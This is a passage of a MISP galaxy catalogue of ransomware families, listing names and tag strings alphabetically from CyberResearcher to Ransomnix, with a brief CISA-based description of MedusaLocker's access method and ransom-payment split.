The tag is: *misp-galaxy:ransomware="CyberResearcher"*

CyberSCCP

Ransomware

The tag is: *misp-galaxy:ransomware="CyberSCCP"*

CyberSoldier

Ransomware

The tag is: *misp-galaxy:ransomware="CyberSoldier"*

Cyclone

Ransomware

The tag is: *misp-galaxy:ransomware="Cyclone"*

CypherPy

Ransomware

The tag is: *misp-galaxy:ransomware="CypherPy"*

Cyspt

Ransomware

The tag is: *misp-galaxy:ransomware="Cyspt"*

Czech

Ransomware

The tag is: *misp-galaxy:ransomware="Czech"*

D00mEd

Ransomware

The tag is: *misp-galaxy:ransomware="D00mEd"*

D2+D

Ransomware

The tag is: *misp-galaxy:ransomware="D2+D"*

DarkKomet

Ransomware

The tag is: *misp-galaxy:ransomware="DarkKomet"*

DarkLocker

Ransomware

The tag is: *misp-galaxy:ransomware="DarkLocker"*

DarkoderCryptor

Ransomware

The tag is: *misp-galaxy:ransomware="DarkoderCryptor"*

DataKeeper

Ransomware

The tag is: *misp-galaxy:ransomware="DataKeeper"*

Datebatut

Ransomware

The tag is: *misp-galaxy:ransomware="Datebatut"*

DCRTR

Ransomware

The tag is: *misp-galaxy:ransomware="DCRTR"*

DCRTR-WDM

Ransomware

The tag is: *misp-galaxy:ransomware="DCRTR-WDM"*

DCry

Ransomware

The tag is: *misp-galaxy:ransomware="DCry"*

DDE

Ransomware

The tag is: *misp-galaxy:ransomware="DDE"*

DeadSec-Crypto

Ransomware

The tag is: *misp-galaxy:ransomware="DeadSec-Crypto"*

DeathHiddenTear (Large&Small HT) >

Ransomware

The tag is: *misp-galaxy:ransomware="DeathHiddenTear (Large&Small HT) > "*

DeathNote

Ransomware

The tag is: *misp-galaxy:ransomware="DeathNote"*

DeathRansom

Ransomware

The tag is: *misp-galaxy:ransomware="DeathRansom"*

DecryptIomega

Ransomware

The tag is: *misp-galaxy:ransomware="DecryptIomega"*

Decryption Assistant

Ransomware

The tag is: *misp-galaxy:ransomware="Decryption Assistant"*

DecService

Ransomware

The tag is: *misp-galaxy:ransomware="DecService"*

DecYourData

Ransomware

The tag is: *misp-galaxy:ransomware="DecYourData"*

Defender

Ransomware

The tag is: *misp-galaxy:ransomware="Defender"*

Defray (Glushkov)

Ransomware

The tag is: *misp-galaxy:ransomware="Defray (Glushkov)"*

Deos

Ransomware

The tag is: *misp-galaxy:ransomware="Deos"*

Desktop

Ransomware

The tag is: *misp-galaxy:ransomware="Desktop"*

Diamond

Ransomware

The tag is: *misp-galaxy:ransomware="Diamond"*

DilmaLocker

Ransomware

The tag is: *misp-galaxy:ransomware="DilmaLocker"*

Dishwasher

Ransomware

The tag is: *misp-galaxy:ransomware="Dishwasher"*

District

Ransomware

The tag is: *misp-galaxy:ransomware="District"*

DMA Locker 1.0-2.0-3.0

Ransomware

The tag is: *misp-galaxy:ransomware="DMA Locker 1.0-2.0-3.0"*

DMA Locker 4.0

Ransomware

The tag is: *misp-galaxy:ransomware="DMA Locker 4.0"*

DMALocker Imposter

Ransomware

The tag is: *misp-galaxy:ransomware="DMALocker Imposter"*

Dodger

Ransomware

The tag is: *misp-galaxy:ransomware="Dodger"*

DolphinTear

Ransomware

The tag is: *misp-galaxy:ransomware="DolphinTear"*

Donald Trump

Ransomware

The tag is: *misp-galaxy:ransomware="Donald Trump"*

Donation1

Ransomware

The tag is: *misp-galaxy:ransomware="Donation1"*

Done

Ransomware

The tag is: *misp-galaxy:ransomware="Done"*

Dont_Worry

Ransomware

The tag is: *misp-galaxy:ransomware="Dont_Worry"*

DotNoData

Ransomware

The tag is: *misp-galaxy:ransomware="DotNoData"*

DotZeroCMD

Ransomware

The tag is: *misp-galaxy:ransomware="DotZeroCMD"*

Dr. Fucker

Ransomware

The tag is: *misp-galaxy:ransomware="Dr. Fucker"*

Dr. Jimbo

Ransomware

The tag is: *misp-galaxy:ransomware="Dr. Jimbo"*

Drakos

Ransomware

The tag is: *misp-galaxy:ransomware="Drakos"*

DriedSister

Ransomware

The tag is: *misp-galaxy:ransomware="DriedSister"*

Dviide

Ransomware

The tag is: *misp-galaxy:ransomware="Dviide"*

eBayWall

Ransomware

The tag is: *misp-galaxy:ransomware="eBayWall"*

EbolaRnsmwr

Ransomware

The tag is: *misp-galaxy:ransomware="EbolaRnsmwr"*

ECLR

Ransomware

The tag is: *misp-galaxy:ransomware="ECLR"*

EggLocker

Ransomware

The tag is: *misp-galaxy:ransomware="EggLocker"*

Ekati demo tool

Ransomware

The tag is: *misp-galaxy:ransomware="Ekati demo tool"*

Enc1

Ransomware

The tag is: *misp-galaxy:ransomware="Enc1"*

EncoderCSL

Ransomware

The tag is: *misp-galaxy:ransomware="EncoderCSL"*

EnCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="EnCrypt"*

EncryptedBatch

Ransomware

The tag is: *misp-galaxy:ransomware="EncryptedBatch"*

EncryptServer2018

Ransomware

The tag is: *misp-galaxy:ransomware="EncryptServer2018"*

EnybenyCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="EnybenyCrypt"*

EOEO

Ransomware

The tag is: *misp-galaxy:ransomware="EOEO"*

Epoblockl

Ransomware

The tag is: *misp-galaxy:ransomware="Epoblockl"*

Erica2020

Ransomware

The tag is: *misp-galaxy:ransomware="Erica2020"*

Eris

Ransomware

The tag is: *misp-galaxy:ransomware="Eris"*

Estemani

Ransomware

The tag is: *misp-galaxy:ransomware="Estemani"*

Eternal

Ransomware

The tag is: *misp-galaxy:ransomware="Eternal"*

Eternity

Ransomware

The tag is: *misp-galaxy:ransomware="Eternity"*

Euclid

Ransomware

The tag is: *misp-galaxy:ransomware="Euclid"*

Evasive HT

Ransomware

The tag is: *misp-galaxy:ransomware="Evasive HT"*

Evolution

Ransomware

The tag is: *misp-galaxy:ransomware="Evolution"*

Executioner

Ransomware

The tag is: *misp-galaxy:ransomware="Executioner"*

ExecutionerPlus

Ransomware

The tag is: *misp-galaxy:ransomware="ExecutionerPlus"*

Exocrypt XTC

Ransomware

The tag is: *misp-galaxy:ransomware="Exocrypt XTC"*

ExoLock

Ransomware

The tag is: *misp-galaxy:ransomware="ExoLock"*

ExpBoot

Ransomware

The tag is: *misp-galaxy:ransomware="ExpBoot"*

Explorer

Ransomware

The tag is: *misp-galaxy:ransomware="Explorer"*

Extortion Scam

Ransomware

The tag is: *misp-galaxy:ransomware="Extortion Scam"*

Extortion Scam is also known as:

- Sextortion Scam

Extractor

Ransomware

The tag is: *misp-galaxy:ransomware="Extractor"*

EyLamo

Ransomware

The tag is: *misp-galaxy:ransomware="EyLamo"*

EZDZ

Ransomware

The tag is: *misp-galaxy:ransomware="EZDZ"*

Fabiansomware

Ransomware

The tag is: *misp-galaxy:ransomware="Fabiansomware"*

Facebook HT

Ransomware

The tag is: *misp-galaxy:ransomware="Facebook HT"*

Faizal

Ransomware

The tag is: *misp-galaxy:ransomware="Faizal"*

Fake Cerber

Ransomware

The tag is: *misp-galaxy:ransomware="Fake Cerber"*

Fake DMA

ransomware

The tag is: *misp-galaxy:ransomware="Fake DMA"*

FartPlz

ransomware

The tag is: *misp-galaxy:ransomware="FartPlz"*

FBLocker

ransomware

The tag is: *misp-galaxy:ransomware="FBLocker"*

FCP

ransomware

The tag is: *misp-galaxy:ransomware="FCP"*

FCrypt

ransomware

The tag is: *misp-galaxy:ransomware="FCrypt"*

FCT

ransomware

The tag is: *misp-galaxy:ransomware="FCT"*

Fenrir

ransomware

The tag is: *misp-galaxy:ransomware="Fenrir"*

File Ripper

ransomware

The tag is: *misp-galaxy:ransomware="File Ripper"*

FileFuck

ransomware

The tag is: *misp-galaxy:ransomware="FileFuck"*

FilesL0cker

ransomware

The tag is: *misp-galaxy:ransomware="FilesL0cker"*

Final

ransomware

The tag is: *misp-galaxy:ransomware="Final"*

FindZip

ransomware

The tag is: *misp-galaxy:ransomware="FindZip"*

Flatcher3

ransomware

The tag is: *misp-galaxy:ransomware="Flatcher3"*

Fluffy-TAR

ransomware

The tag is: *misp-galaxy:ransomware="Fluffy-TAR"*

Foxy

ransomware

The tag is: *misp-galaxy:ransomware="Foxy"*

FreeMe

ransomware

The tag is: *misp-galaxy:ransomware="FreeMe"*

Freshdesk

ransomware

The tag is: *misp-galaxy:ransomware="Freshdesk"*

Frog

ransomware

The tag is: *misp-galaxy:ransomware="Frog"*

FrozrLock

ransomware

The tag is: *misp-galaxy:ransomware="FrozrLock"*

FRS

ransomware

The tag is: *misp-galaxy:ransomware="FRS"*

FScrypt

ransomware

The tag is: *misp-galaxy:ransomware="FScrypt"*

FuckTheSystem

ransomware

The tag is: *misp-galaxy:ransomware="FuckTheSystem"*

FuxSocy Encryptor

ransomware

The tag is: *misp-galaxy:ransomware="FuxSocy Encryptor"*

Galacti-Crypter

ransomware

The tag is: *misp-galaxy:ransomware="Galacti-Crypter"*

GameOver

ransomware

The tag is: *misp-galaxy:ransomware="GameOver"*

Geminis3

ransomware

The tag is: *misp-galaxy:ransomware="Geminis3"*

Gendarmerie

ransomware

The tag is: *misp-galaxy:ransomware="Gendarmerie"*

Genobot

ransomware

The tag is: *misp-galaxy:ransomware="Genobot"*

GermanWiper

ransomware

The tag is: *misp-galaxy:ransomware="GermanWiper"*

GhosTEncryptor

ransomware

The tag is: *misp-galaxy:ransomware="GhosTEncryptor"*

GhostHammer

ransomware

The tag is: *misp-galaxy:ransomware="GhostHammer"*

Gibberish

ransomware

The tag is: *misp-galaxy:ransomware="Gibberish"*

Gibon

ransomware

The tag is: *misp-galaxy:ransomware="Gibon"*

Giyotin

ransomware

The tag is: *misp-galaxy:ransomware="Giyotin"*

GoCryptoLocker

ransomware

The tag is: *misp-galaxy:ransomware="GoCryptoLocker"*

Godra

ransomware

The tag is: *misp-galaxy:ransomware="Godra"*

GoGoogle

ransomware

The tag is: *misp-galaxy:ransomware="GoGoogle"*

GoHack

ransomware

The tag is: *misp-galaxy:ransomware="GoHack"*

Golden Axe

ransomware

The tag is: *misp-galaxy:ransomware="Golden Axe"*

Gomme

ransomware

The tag is: *misp-galaxy:ransomware="Gomme"*

GonnaCry Ransmware

ransomware

The tag is: *misp-galaxy:ransomware="GonnaCry Ransmware"*

Goofed HT

ransomware

The tag is: *misp-galaxy:ransomware="Goofed HT"*

GoRansom POC

ransomware

The tag is: *misp-galaxy:ransomware="GoRansom POC"*

Gorgon

ransomware

The tag is: *misp-galaxy:ransomware="Gorgon"*

Gotcha

ransomware

The tag is: *misp-galaxy:ransomware="Gotcha"*

GottaCry

ransomware

The tag is: *misp-galaxy:ransomware="GottaCry"*

GPAA

ransomware

The tag is: *misp-galaxy:ransomware="GPAA"*

GPGQwerty

ransomware

The tag is: *misp-galaxy:ransomware="GPGQwerty"*

Craftul

ransomware

The tag is: *misp-galaxy:ransomware="Craftul"*

Greystars

ransomware

The tag is: *misp-galaxy:ransomware="Greystars"*

GrodexCrypt

ransomware

The tag is: *misp-galaxy:ransomware="GrodexCrypt"*

GrujaRSorium

ransomware

The tag is: *misp-galaxy:ransomware="GrujaRSorium"*

Gruxer

ransomware

The tag is: *misp-galaxy:ransomware="Gruxer"*

GusCrypter

ransomware

The tag is: *misp-galaxy:ransomware="GusCrypter"*

GX40

ransomware

The tag is: *misp-galaxy:ransomware="GX40"*

H34rtBl33d

ransomware

The tag is: *misp-galaxy:ransomware="H34rtBl33d"*

HackdoorCrypt3r

ransomware

The tag is: *misp-galaxy:ransomware="HackdoorCrypt3r"*

Hades

ransomware

The tag is: *misp-galaxy:ransomware="Hades"*

View relationships graph

Hades has relationships with:

- similar: misp-galaxy:ransomware="WildFire Locker" with estimative-language:likelihood-probability="likely"

Hakbit

ransomware

The tag is: *misp-galaxy:ransomware="Hakbit"*

HappyCrypter

ransomware

The tag is: *misp-galaxy:ransomware="HappyCrypter"*

Haze

ransomware

The tag is: *misp-galaxy:ransomware="Haze"*

HCrypto

ransomware

The tag is: *misp-galaxy:ransomware="HCrypto"*

HELP@AUSI

ransomware

The tag is: *misp-galaxy:ransomware="HELP@AUSI"*

HelpDCFile

ransomware

The tag is: *misp-galaxy:ransomware="HelpDCFile"*

HelpMe

ransomware

The tag is: *misp-galaxy:ransomware="HelpMe"*

Hermes837

ransomware

The tag is: *misp-galaxy:ransomware="Hermes837"*

HermesVirus HT

ransomware

The tag is: *misp-galaxy:ransomware="HermesVirus HT"*

Heropoint

ransomware

The tag is: *misp-galaxy:ransomware="Heropoint"*

HiddenBeer

ransomware

The tag is: *misp-galaxy:ransomware="HiddenBeer"*

Honor

ransomware

The tag is: *misp-galaxy:ransomware="Honor"*

Horros

ransomware

The tag is: *misp-galaxy:ransomware="Horros"*

Hydra

ransomware

The tag is: *misp-galaxy:ransomware="Hydra"*

IGotYou

ransomware

The tag is: *misp-galaxy:ransomware="IGotYou"*

iGZa4C

ransomware

The tag is: *misp-galaxy:ransomware="iGZa4C"*

ILElection2020

ransomware

The tag is: *misp-galaxy:ransomware="ILElection2020"*

Ims00ry

ransomware

The tag is: *misp-galaxy:ransomware="Ims00ry"*

ImSorry

ransomware

The tag is: *misp-galaxy:ransomware="ImSorry"*

Incanto

ransomware

The tag is: *misp-galaxy:ransomware="Incanto"*

Indrik

ransomware

The tag is: *misp-galaxy:ransomware="Indrik"*

InducVirus

ransomware

The tag is: *misp-galaxy:ransomware="InducVirus"*

InfinityLock

ransomware

The tag is: *misp-galaxy:ransomware="InfinityLock"*

InfoDot

ransomware

The tag is: *misp-galaxy:ransomware="InfoDot"*

INPIVX

ransomware

The tag is: *misp-galaxy:ransomware="INPIVX"*

InsaneCrypt

ransomware

The tag is: *misp-galaxy:ransomware="InsaneCrypt"*

IPA

ransomware

The tag is: *misp-galaxy:ransomware="IPA"*

IT.Books

ransomware

The tag is: *misp-galaxy:ransomware="IT.Books"*

J-

ransomware

The tag is: *misp-galaxy:ransomware="J-"*

JabaCrypter

ransomware

The tag is: *misp-galaxy:ransomware="JabaCrypter"*

Jaffe

ransomware

The tag is: *misp-galaxy:ransomware="Jaffe"*

James

ransomware

The tag is: *misp-galaxy:ransomware="James"*

Java NotDharma

ransomware

The tag is: *misp-galaxy:ransomware="Java NotDharma"*

jCandy

ransomware

The tag is: *misp-galaxy:ransomware="jCandy"*

JeepersCrypt

ransomware

The tag is: *misp-galaxy:ransomware="JeepersCrypt"*

Jemd

ransomware

The tag is: *misp-galaxy:ransomware="Jemd"*

JesusCrypt

ransomware

The tag is: *misp-galaxy:ransomware="JesusCrypt"*

JNEC.a

ransomware

The tag is: *misp-galaxy:ransomware="JNEC.a"*

JoeGo

ransomware

The tag is: *misp-galaxy:ransomware="JoeGo"*

Jolly Roger

ransomware

The tag is: *misp-galaxy:ransomware="Jolly Roger"*

JosepCrypt

ransomware

The tag is: *misp-galaxy:ransomware="JosepCrypt"*

Juwon

ransomware

The tag is: *misp-galaxy:ransomware="Juwon"*

Kali

ransomware

The tag is: *misp-galaxy:ransomware="Kali"*

Kamil

ransomware

The tag is: *misp-galaxy:ransomware="Kamil"*

Kampret

ransomware

The tag is: *misp-galaxy:ransomware="Kampret"*

Karo

ransomware

The tag is: *misp-galaxy:ransomware="Karo"*

Katafrank

ransomware

The tag is: *misp-galaxy:ransomware="Katafrank"*

Katyusha

ransomware

The tag is: *misp-galaxy:ransomware="Katyusha"*

KCTF Locker

ransomware

The tag is: *misp-galaxy:ransomware="KCTF Locker"*

KCW

ransomware

The tag is: *misp-galaxy:ransomware="KCW"*

Kee

ransomware

The tag is: *misp-galaxy:ransomware="Kee"*

KEKW

ransomware

The tag is: *misp-galaxy:ransomware="KEKW"*

Kerkoporta

ransomware

The tag is: *misp-galaxy:ransomware="Kerkoporta"*

KeyMaker

ransomware

The tag is: *misp-galaxy:ransomware="KeyMaker"*

KillBot_Virus

ransomware

The tag is: *misp-galaxy:ransomware="KillBot_Virus"*

KillDisk-Dimens

ransomware

The tag is: *misp-galaxy:ransomware="KillDisk-Dimens"*

KillRabbit

ransomware

The tag is: *misp-galaxy:ransomware="KillRabbit"*

KillSwitch

ransomware

The tag is: *misp-galaxy:ransomware="KillSwitch"*

Kindest

ransomware

The tag is: *misp-galaxy:ransomware="Kindest"*

KKK

ransomware

The tag is: *misp-galaxy:ransomware="KKK"*

Kovter

ransomware

The tag is: *misp-galaxy:ransomware="Kovter"*

Kriptovor

ransomware

The tag is: *misp-galaxy:ransomware="Kriptovor"*

Krypte

ransomware

The tag is: *misp-galaxy:ransomware="Krypte"*

Krypton

ransomware

The tag is: *misp-galaxy:ransomware="Krypton"*

Kryptonite RBY

ransomware

The tag is: *misp-galaxy:ransomware="Kryptonite RBY"*

Kryptonite Snake

ransomware

The tag is: *misp-galaxy:ransomware="Kryptonite Snake"*

Kupidon

ransomware

The tag is: *misp-galaxy:ransomware="Kupidon"*

Ladon

ransomware

The tag is: *misp-galaxy:ransomware="Ladon"*

Lalabitch_ransomware

ransomware

The tag is: *misp-galaxy:ransomware="Lalabitch_ransomware"*

LazagneCrypt

ransomware

The tag is: *misp-galaxy:ransomware="LazagneCrypt"*

Light

ransomware

The tag is: *misp-galaxy:ransomware="Light"*

LightningCrypt

ransomware

The tag is: *misp-galaxy:ransomware="LightningCrypt"*

LIGMA

ransomware

The tag is: *misp-galaxy:ransomware="LIGMA"*

Lime

ransomware

The tag is: *misp-galaxy:ransomware="Lime"*

Litra

ransomware

The tag is: *misp-galaxy:ransomware="Litra"*

LittleFinger

ransomware

The tag is: *misp-galaxy:ransomware="LittleFinger"*

LMAOxUS

ransomware

The tag is: *misp-galaxy:ransomware="LMAOxUS"*

LockBox

ransomware

The tag is: *misp-galaxy:ransomware="LockBox"*

Locked_File

ransomware

The tag is: *misp-galaxy:ransomware="Locked_File"*

LockedByte

ransomware

The tag is: *misp-galaxy:ransomware="LockedByte"*

Locker-Pay

ransomware

The tag is: *misp-galaxy:ransomware="Locker-Pay"*

Lockify

ransomware

The tag is: *misp-galaxy:ransomware="Lockify"*

LockMe

ransomware

The tag is: *misp-galaxy:ransomware="LockMe"*

LockOn

ransomware

The tag is: *misp-galaxy:ransomware="LockOn"*

Lockout

ransomware

The tag is: *misp-galaxy:ransomware="Lockout"*

LongTermMemoryLoss

ransomware

The tag is: *misp-galaxy:ransomware="LongTermMemoryLoss"*

LonleyCrypt

ransomware

The tag is: *misp-galaxy:ransomware="LonleyCrypt"*

LooCipher

ransomware

The tag is: *misp-galaxy:ransomware="LooCipher"*

LordOfShadow

ransomware

The tag is: *misp-galaxy:ransomware="LordOfShadow"*

Losers

ransomware

The tag is: *misp-galaxy:ransomware="Losers"*

Losers-Dangerous

ransomware

The tag is: *misp-galaxy:ransomware="Losers-Dangerous"*

Lost_Files

ransomware

The tag is: *misp-galaxy:ransomware="Lost_Files"*

LuckyJoe

ransomware

The tag is: *misp-galaxy:ransomware="LuckyJoe"*

Luxnut

ransomware

The tag is: *misp-galaxy:ransomware="Luxnut"*

Madafakah

ransomware

The tag is: *misp-galaxy:ransomware="Madafakah"*

MadBit

ransomware

The tag is: *misp-galaxy:ransomware="MadBit"*

Magician

ransomware

The tag is: *misp-galaxy:ransomware="Magician"*

Malabu

ransomware

The tag is: *misp-galaxy:ransomware="Malabu"*

MalwareTech’s CTF

ransomware

The tag is: *misp-galaxy:ransomware="MalwareTech’s CTF"*

Mancros+AI4939

ransomware

The tag is: *misp-galaxy:ransomware="Mancros+AI4939"*

Maoloa

ransomware

The tag is: *misp-galaxy:ransomware="Maoloa"*

Marozka

ransomware

The tag is: *misp-galaxy:ransomware="Marozka"*

MarraCrypt

ransomware

The tag is: *misp-galaxy:ransomware="MarraCrypt"*

Matroska

ransomware

The tag is: *misp-galaxy:ransomware="Matroska"*

MauriGo

ransomware

The tag is: *misp-galaxy:ransomware="MauriGo"*

MaxiCrypt

ransomware

The tag is: *misp-galaxy:ransomware="MaxiCrypt"*

Maykolin

ransomware

The tag is: *misp-galaxy:ransomware="Maykolin"*

Maysomware

ransomware

The tag is: *misp-galaxy:ransomware="Maysomware"*

MBR-ONI

ransomware

The tag is: *misp-galaxy:ransomware="MBR-ONI"*

MedusaLocker

Observed as recently as May 2022, MedusaLocker actors predominantly rely on vulnerabilities in Remote Desktop Protocol (RDP) to access victims' networks. The MedusaLocker actors encrypt the victim's data and leave a ransom note with communication instructions in every folder containing an encrypted file. The note directs victims to provide ransomware payments to a specific Bitcoin wallet address. MedusaLocker appears to operate as a Ransomware-as-a-Service (RaaS) model based on the observed split of ransom payments. Typical RaaS models involve the ransomware developer and various affiliates that deploy the ransomware on victim systems. MedusaLocker ransomware payments appear to be consistently split between the affiliate, who receives 55 to 60 percent of the ransom; and the developer, who receives the remainder.

The tag is: *misp-galaxy:ransomware="MedusaLocker"*

Table 6463. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa22-181a
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf

Meduza

ransomware

The tag is: *misp-galaxy:ransomware="Meduza"*

MegaLocker

ransomware

The tag is: *misp-galaxy:ransomware="MegaLocker"*

Mew767

ransomware

The tag is: *misp-galaxy:ransomware="Mew767"*

Mike NotSTOP

ransomware

The tag is: *misp-galaxy:ransomware="Mike NotSTOP"*

Mikoyan

ransomware

The tag is: *misp-galaxy:ransomware="Mikoyan"*

MindLost

ransomware

The tag is: *misp-galaxy:ransomware="MindLost"*

MindSystem

ransomware

The tag is: *misp-galaxy:ransomware="MindSystem"*

Mini

ransomware

The tag is: *misp-galaxy:ransomware="Mini"*

Minotaur

ransomware

The tag is: *misp-galaxy:ransomware="Minotaur"*

MMM

ransomware

The tag is: *misp-galaxy:ransomware="MMM"*

MNS CryptoLocker

ransomware

The tag is: *misp-galaxy:ransomware="MNS CryptoLocker"*

MoneroPay

ransomware

The tag is: *misp-galaxy:ransomware="MoneroPay"*

MongoLock

ransomware

The tag is: *misp-galaxy:ransomware="MongoLock"*

MoonCryptor

ransomware

The tag is: *misp-galaxy:ransomware="MoonCryptor"*

Mordor

ransomware

The tag is: *misp-galaxy:ransomware="Mordor"*

MorrisBatchCrypt

ransomware

The tag is: *misp-galaxy:ransomware="MorrisBatchCrypt"*

Moth

ransomware

The tag is: *misp-galaxy:ransomware="Moth"*

MoWare H.F.D

ransomware

The tag is: *misp-galaxy:ransomware="MoWare H.F.D"*

Mr.Locker

ransomware

The tag is: *misp-galaxy:ransomware="Mr.Locker"*

Mr403Forbidden

ransomware

The tag is: *misp-galaxy:ransomware="Mr403Forbidden"*

MuchLove

ransomware

The tag is: *misp-galaxy:ransomware="MuchLove"*

Muhstik

ransomware

The tag is: *misp-galaxy:ransomware="Muhstik"*

Mystic

ransomware

The tag is: *misp-galaxy:ransomware="Mystic"*

MZP

ransomware

The tag is: *misp-galaxy:ransomware="MZP"*

N2019cov

ransomware

The tag is: *misp-galaxy:ransomware="N2019cov"*

Naampa

ransomware

The tag is: *misp-galaxy:ransomware="Naampa"*

NazCrypt

ransomware

The tag is: *misp-galaxy:ransomware="NazCrypt"*

Nefilim

ransomware

The tag is: *misp-galaxy:ransomware="Nefilim"*

Negozl

ransomware

The tag is: *misp-galaxy:ransomware="Negozl"*

Neitrino

ransomware

The tag is: *misp-galaxy:ransomware="Neitrino"*

NewWave

ransomware

The tag is: *misp-galaxy:ransomware="NewWave"*

NextCry

ransomware

The tag is: *misp-galaxy:ransomware="NextCry"*

Nightmare

ransomware

The tag is: *misp-galaxy:ransomware="Nightmare"*

NinjaLoc

ransomware

The tag is: *misp-galaxy:ransomware="NinjaLoc"*

NM4

ransomware

The tag is: *misp-galaxy:ransomware="NM4"*

Noblis

ransomware

The tag is: *misp-galaxy:ransomware="Noblis"*

Nog4yH4n

ransomware

The tag is: *misp-galaxy:ransomware="Nog4yH4n"*

Nomikon

ransomware

The tag is: *misp-galaxy:ransomware="Nomikon"*

NotAHero

ransomware

The tag is: *misp-galaxy:ransomware="NotAHero"*

Nozelesn

ransomware

The tag is: *misp-galaxy:ransomware="Nozelesn"*

Nulltica

ransomware

The tag is: *misp-galaxy:ransomware="Nulltica"*

Nx / OSR

ransomware

The tag is: *misp-galaxy:ransomware="Nx / OSR"*

Nyton

ransomware

The tag is: *misp-galaxy:ransomware="Nyton"*

NZMR

ransomware

The tag is: *misp-galaxy:ransomware="NZMR"*

Ogre

ransomware

The tag is: *misp-galaxy:ransomware="Ogre"*

OhNo!

ransomware

The tag is: *misp-galaxy:ransomware="OhNo!"*

Oled

ransomware

The tag is: *misp-galaxy:ransomware="Oled"*

OmniSphere

ransomware

The tag is: *misp-galaxy:ransomware="OmniSphere"*

One

ransomware

The tag is: *misp-galaxy:ransomware="One"*

ONI

ransomware

The tag is: *misp-galaxy:ransomware="ONI"*

OoPS Ramenware

ransomware

The tag is: *misp-galaxy:ransomware="OoPS Ramenware"*

OopsLocker

ransomware

The tag is: *misp-galaxy:ransomware="OopsLocker"*

OPdailyallowance

ransomware

The tag is: *misp-galaxy:ransomware="OPdailyallowance"*

OpenToYou

ransomware

The tag is: *misp-galaxy:ransomware="OpenToYou"*

Ordinal

ransomware

The tag is: *misp-galaxy:ransomware="Ordinal"*

Ordinypt

ransomware

The tag is: *misp-galaxy:ransomware="Ordinypt"*

Pacman

ransomware

The tag is: *misp-galaxy:ransomware="Pacman"*

PassLock

ransomware

The tag is: *misp-galaxy:ransomware="PassLock"*

Pay-or-Lost

ransomware

The tag is: *misp-galaxy:ransomware="Pay-or-Lost"*

PayForNature

ransomware

The tag is: *misp-galaxy:ransomware="PayForNature"*

Paymen45

ransomware

The tag is: *misp-galaxy:ransomware="Paymen45"*

Payment

ransomware

The tag is: *misp-galaxy:ransomware="Payment"*

PClock и PClock2

ransomware

The tag is: *misp-galaxy:ransomware="PClock и PClock2"*

PPDDDP

ransomware

The tag is: *misp-galaxy:ransomware="PPDDDP"*

PEC 2017

ransomware

The tag is: *misp-galaxy:ransomware="PEC 2017"*

Pendor

ransomware

The tag is: *misp-galaxy:ransomware="Pendor"*

Pennywise

ransomware

The tag is: *misp-galaxy:ransomware="Pennywise"*

PewCrypt +decrypt

ransomware

The tag is: *misp-galaxy:ransomware="PewCrypt +decrypt"*

PewDiePie

ransomware

The tag is: *misp-galaxy:ransomware="PewDiePie"*

PhobosImposter

ransomware

The tag is: *misp-galaxy:ransomware="PhobosImposter"*

PhoneNumber

ransomware

The tag is: *misp-galaxy:ransomware="PhoneNumber"*

PHP

ransomware

The tag is: *misp-galaxy:ransomware="PHP"*

Pirateware

ransomware

The tag is: *misp-galaxy:ransomware="Pirateware"*

PoisonFang

ransomware

The tag is: *misp-galaxy:ransomware="PoisonFang"*

PonyFinal

ransomware

The tag is: *misp-galaxy:ransomware="PonyFinal"*

PooleZoor

ransomware

The tag is: *misp-galaxy:ransomware="PooleZoor"*

PopCornTime

ransomware

The tag is: *misp-galaxy:ransomware="PopCornTime"*

PowerHentai

ransomware

The tag is: *misp-galaxy:ransomware="PowerHentai"*

PowerLocky

ransomware

The tag is: *misp-galaxy:ransomware="PowerLocky"*

PowerShell Locker 2013

ransomware

The tag is: *misp-galaxy:ransomware="PowerShell Locker 2013"*

PowerShell Locker 2015

ransomware

The tag is: *misp-galaxy:ransomware="PowerShell Locker 2015"*

Pr0tector

ransomware

The tag is: *misp-galaxy:ransomware="Pr0tector"*

Predator

ransomware

The tag is: *misp-galaxy:ransomware="Predator"*

Priapos

ransomware

The tag is: *misp-galaxy:ransomware="Priapos"*

Project23

ransomware

The tag is: *misp-galaxy:ransomware="Project23"*

Project57

ransomware

The tag is: *misp-galaxy:ransomware="Project57"*

ProLock

ransomware

The tag is: *misp-galaxy:ransomware="ProLock"*

View relationships graph

ProLock has relationships with:

- dropped-by: misp-galaxy:botnet="Qbot" with estimative-language:likelihood-probability="likely"

Prometey

ransomware

The tag is: *misp-galaxy:ransomware="Prometey"*

Protected

ransomware

The tag is: *misp-galaxy:ransomware="Protected"*

PSCrypt

ransomware

The tag is: *misp-galaxy:ransomware="PSCrypt"*

PshCrypt

ransomware

The tag is: *misp-galaxy:ransomware="PshCrypt"*

PTP

ransomware

The tag is: *misp-galaxy:ransomware="PTP"*

Pulpy

ransomware

The tag is: *misp-galaxy:ransomware="Pulpy"*

PureLocker

ransomware

The tag is: *misp-galaxy:ransomware="PureLocker"*

PwndLocker

ransomware

The tag is: *misp-galaxy:ransomware="PwndLocker"*

PyteHole

ransomware

The tag is: *misp-galaxy:ransomware="PyteHole"*

Python

ransomware

The tag is: *misp-galaxy:ransomware="Python"*

PZDC

ransomware

The tag is: *misp-galaxy:ransomware="PZDC"*

Qinynore

ransomware

The tag is: *misp-galaxy:ransomware="Qinynore"*

QNAPCrypt

ransomware

The tag is: *misp-galaxy:ransomware="QNAPCrypt"*

QP

ransomware

The tag is: *misp-galaxy:ransomware="QP"*

QuakeWay

ransomware

The tag is: *misp-galaxy:ransomware="QuakeWay"*

Qweuirtksd

ransomware

The tag is: *misp-galaxy:ransomware="Qweuirtksd"*

R3store

ransomware

The tag is: *misp-galaxy:ransomware="R3store"*

RabbitFox

ransomware

The tag is: *misp-galaxy:ransomware="RabbitFox"*

Ramsey

ransomware

The tag is: *misp-galaxy:ransomware="Ramsey"*

RandomLocker

ransomware

The tag is: *misp-galaxy:ransomware="RandomLocker"*

RanRans

ransomware

The tag is: *misp-galaxy:ransomware="RanRans"*

Rans0mLocked

ransomware

The tag is: *misp-galaxy:ransomware="Rans0mLocked"*

Ransed

ransomware

The tag is: *misp-galaxy:ransomware="Ransed"*

Ransom102

ransomware

The tag is: *misp-galaxy:ransomware="Ransom102"*

RansomAES

ransomware

The tag is: *misp-galaxy:ransomware="RansomAES"*

RansomCuck

ransomware

The tag is: *misp-galaxy:ransomware="RansomCuck"*

RansomMine

ransomware

The tag is: *misp-galaxy:ransomware="RansomMine"*

Ransomnix

ransomware

The tag is: *misp-galaxy:ransomware="Ransomnix"*

